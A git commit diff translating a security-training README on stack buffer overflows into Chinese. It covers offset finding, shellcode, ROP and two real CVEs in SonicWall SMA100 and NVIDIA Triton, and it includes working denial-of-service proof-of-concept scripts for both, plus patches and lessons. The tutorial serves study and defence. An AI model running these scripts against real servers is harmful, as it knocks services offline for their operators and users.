Translated ['src/binary-exploitation/stack-overflow/README.md'] to zh

This commit is contained in:
Translator 2025-08-20 02:45:06 +00:00
parent 9a024bfb32
commit c00c09fe47

View File

@ -6,7 +6,7 @@
一个 **栈溢出** 是一种漏洞,当程序向栈写入的数据超过其分配的容量时就会发生。这些多余的数据将 **覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。 一个 **栈溢出** 是一种漏洞,当程序向栈写入的数据超过其分配的容量时就会发生。这些多余的数据将 **覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)****保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是 **存储在栈上的**。因此,攻击者将能够覆盖这些并 **控制程序的执行流** 这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)****保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是 **存储在栈上的**。因此,攻击者将能够覆盖这些内容**控制程序的执行流**
该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。 该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
``` ```
### 寻找栈溢出偏移量 ### 寻找栈溢出偏移量
寻找栈溢出的最常见方法是输入非常大的 `A`(例如 `python3 -c 'print("A"*1000)'`并期待出现 `Segmentation Fault`,这表明 **尝试访问了地址 `0x41414141`** 寻找栈溢出的最常见方法是输入大`A`(例如 `python3 -c 'print("A"*1000)')并期待出现 `Segmentation Fault`,这表明 **地址 `0x41414141` 被尝试访问**。
此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次**,作为一个连续的子序列。 此外,一旦你发现存在栈溢出漏洞,你需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次**,作为一个连续的子序列。
这样,您就不需要手动找出控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。 这样,就不需要手动计算控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
可以使用 **pwntools** 来实现这一点: 可以使用 **pwntools** 来实现这一点:
```python ```python
@ -65,7 +65,7 @@ ret2win/
### 栈 Shellcode ### 栈 Shellcode
在这种情况下,攻击者可以在栈中放置一个 shellcode,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码: 在这种情况下,攻击者可以将 shellcode 放置在栈中,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
{{#ref}} {{#ref}}
stack-shellcode/ stack-shellcode/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... 技术 ### ROP & Ret2... 技术
该技术是绕过前一种技术主要保护的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术ret2lib、ret2syscall...),通过滥用二进制中的现有指令来最终执行任意命令: 该技术是绕过前一种技术主要保护措施的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术ret2lib、ret2syscall...),通过滥用二进制中的现有指令来执行任意命令:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ ../rop-return-oriented-programing/
@ -97,7 +97,7 @@ stack-shellcode/
### 现实世界示例CVE-2025-40596 (SonicWall SMA100) ### 现实世界示例CVE-2025-40596 (SonicWall SMA100)
一个很好的示例说明**`sscanf`永远不应该被信任来解析不可信输入**出现在2025年SonicWall的SMA100 SSL-VPN设备中。\ 一个很好的示例说明了为什么**`sscanf`永远不应该被信任来解析不可信输入**出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
位于`/usr/src/EasyAccess/bin/httpd`中的易受攻击例程试图从任何以`/__api__/`开头的URI中提取版本和端点 位于`/usr/src/EasyAccess/bin/httpd`中的易受攻击例程试图从任何以`/__api__/`开头的URI中提取版本和端点
```c ```c
char version[3]; char version[3];
@ -116,12 +116,71 @@ warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000 url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False) requests.get(url, verify=False)
``` ```
即使栈保护器会中止进程,攻击者仍然可以获得一个**拒绝服务**原语(并且,通过额外的信息泄露,可能实现代码执行)。教训很简单: 即使栈金丝雀会中止进程,攻击者仍然获得了一个**拒绝服务**原语(并且,通过额外的信息泄露,可能实现代码执行)。教训很简单:
* 始终提供**最大字段宽度**(例如`%511s`)。 * 始终提供一个**最大字段宽度**(例如`%511s`)。
* 优先选择更安全的替代方案,如`snprintf`/`strncpy_s` * 优先选择更安全的替代方案,如`snprintf`/`strncpy_s`
## 参考 ### 现实世界示例CVE-2025-23310 & CVE-2025-23311NVIDIA Triton推理服务器
NVIDIA的Triton推理服务器≤ v25.06包含多个可通过其HTTP API访问的**基于栈的溢出**。易受攻击的模式在`http_server.cc``sagemaker_server.cc`中反复出现:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) 返回当前 HTTP 请求体的 **内部缓冲区段数**
2. 每个段会通过 `alloca()`**栈** 上分配一个 **16-byte**`evbuffer_iovec` **没有任何上限**
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以强制请求被拆分成 **数十万个 6-byte 的块** (`"1\r\nA\r\n"`)。这使得 `n` 不断增长,直到栈耗尽。
#### 证明概念 (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
一个大约 3 MB 的请求足以覆盖保存的返回地址并**崩溃**默认构建的守护进程。
#### 修补与缓解
25.07 版本用一个**堆支持的 `std::vector`**替换了不安全的栈分配,并优雅地处理 `std::bad_alloc`
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
教训总结:
* 永远不要使用攻击者控制的大小调用 `alloca()`
* 分块请求可以极大地改变服务器端缓冲区的形状。
* 在内存分配中使用任何来自客户端输入的值之前,验证/限制该值。
## 参考文献
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}